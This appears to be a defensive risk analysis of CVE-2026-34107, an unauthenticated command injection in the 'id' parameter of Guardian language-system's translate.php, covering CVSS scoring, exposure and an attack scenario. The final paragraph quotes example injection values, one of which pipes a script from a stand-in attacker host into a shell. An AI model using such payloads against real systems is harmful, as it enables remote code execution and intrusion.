Guardian language-system CVE-2026-34107

The exact prerequisite is that the vulnerable endpoint translate.php is network-reachable by the attacker; exploitation is performed by supplying shell metacharacters in the 'id' GET parameter, which is concatenated unsanitized into a PHP exec() call. Per the CVSS vector (AV:N/AC:L/AT:N/PR:N/UI:N), no authentication, no user interaction, and no special non-default configuration are required - this is unauthenticated remote exploitation against reachable installations of Guardian language-system. The main limiting factor is exposure: the attacker must be able to reach translate.php over the network (direct internet exposure or access to the internal network hosting it), and the practical blast radius is bounded by the product's apparently small deployment footprint rather than by any attack precondition.

All available signals point to high, easily realized risk. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) indicates network-reachable, low-complexity, unauthenticated exploitation requiring no user interaction and yielding high impact to confidentiality, integrity, and availability - a near-worst-case profile consistent with the score of 9.3. Publicly available exploit code lowers the barrier further, so weaponization effort is minimal. The counterweight is exposure and prevalence: this is not a CISA KEV entry (no public exploit identified as actively exploited at time of analysis) and no EPSS score was provided, so widespread automated exploitation is unconfirmed and the product's real-world footprint appears small. Net: technically a critical, trivially exploitable flaw that should be treated as a priority anywhere the product is deployed, but the aggregate fleet-wide risk is bounded by the product's apparent niche deployment rather than by any difficulty of attack. No conflicting signals were found between the CVSS vector and the description - both agree on unauthenticated network RCE.

An attacker locates an internet-exposed Guardian language-system instance and sends a single crafted GET request to translate.php with an 'id' value such as '1;curl attacker.sh|sh' or '1$(id)', causing the injected commands to run in the server's shell. Because no authentication or user interaction is required and public exploit code already exists, a low-skill attacker can reliably achieve remote code execution and then pivot to install a webshell, exfiltrate data, or deploy further payloads.